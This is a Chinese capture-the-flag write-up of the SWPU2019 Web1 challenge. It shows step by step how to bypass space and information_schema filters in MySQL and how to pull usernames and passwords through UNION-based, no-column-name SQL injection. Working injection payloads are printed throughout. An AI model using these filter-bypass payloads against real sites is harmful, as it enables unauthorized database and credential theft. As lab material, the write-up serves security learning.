[SWPU2019]Web1 (bypass information_schema,无列名注入)

打开环境,是个登录框:

[SWPU2019]Web1 (bypass information_schema,无列名注入)_第1张图片

注册账号,登录后,有个广告发布,随便输入后查看详情后会回显:

一下子就会想到是xss,于是我试了一下,果然还真存在xss:

[SWPU2019]Web1 (bypass information_schema,无列名注入)_第2张图片

 但是后来才知道没用,是个SQL题,注入点在标题那:

 按照步骤来,发现or,#都被过滤,空格会被消除,空格简单,用/**/就能绕过,但order by和information_schema都不能用,那咋判断字段数,不会要用union select一个个试吧(那这个题可能要搞傻),其实还可以用group by:

1'/**/group/**/by/**/22,'3

(注释符#用,'3代替,数字随便,这里的'相当于闭合了输入语句里参数的右引号,变成'3'字符串,此时整个语句没有注释符)

判断出有22个字段,接着用联合注入:

1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

 得到数据库名:web1

接着报表名,information_schena不能用,此处要用到其他知识:

我们知道infromation_schema库的作用无非就是可以获取到table_schema,table_name,column_name这些数据库内的信息,下面两种方法能绕过:

1.InnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,mysql数据库中inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。其利用方式是:mysql.innodb_index_stats和mysql.innodb_table_stats
2.sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。其用法是sys.schema_auto_increment_columns

经过尝试第一种方法可行:

1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

注意: 这个地方一定要在前面可显示的位置2,3用select查出表名,因为union select查的是当前数据库中的内容,且有22个字段,如果将from/**/mysql.innodb_table_stats写在数字后面就查不出。

得到了5张表,但是用上面的InnoDb引擎方法没法查出列名,因为其中没有存储列名,这里就要用到无列名注入了。

先来了解一下原理:

正常的查询是这样的:

[SWPU2019]Web1 (bypass information_schema,无列名注入)_第3张图片

  1. 当我们select 1,2,3的时候。这个就像是一个虚拟的表。列名为1,2,3

  2. 我们将列名为1,2,3然后查询数据

  3. 第一行是我们查询的1,2,3后面跟着表中的数据

[SWPU2019]Web1 (bypass information_schema,无列名注入)_第4张图片

 这就相当于改了表的列名。之后。我们将某一列取出来即可

select `2` from (select 1,2,3 union select * from user)a;
将select 1,2,3的结果拼接到select * from user 的结果,然后将第二列取出来。select 1,2,3要根据表的字段而定,也就是说进行查询时语句的字段数必须和指定表中的字段数一样,不能多也不能少,不然就会报错。语句最后一个字母是别名。像这样就可以查询第二列的数据,在虚拟表中,列名都是1,2,3,所以我们在查询语句中要用 `2` 而不能直接用 2,这就获取到了列名!!

[SWPU2019]Web1 (bypass information_schema,无列名注入)_第5张图片

 有些时候程序还会过滤反引号,语句就不能正常执行了。但我们还可以通过别名替代反引号

as 取别名。将select 1,2,3 union select * from user中要查询的一列取别名为b。个人感觉就像是赋值给变量差不多:

[SWPU2019]Web1 (bypass information_schema,无列名注入)_第6张图片

 这里都是分列的。可以通过group_concat来拼接字符串一起输出:

晓得了原理后回到这个题,尝试后答案在users表中,在可以用下面的payload:

1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

至于为什么有三列(select/**/1,2,3),mysql数据库一般第一列是编号,第二列一般是user之类的,第三列一般都是password:

你可能感兴趣的:(CTF题目(web),mysql,数据库,sql)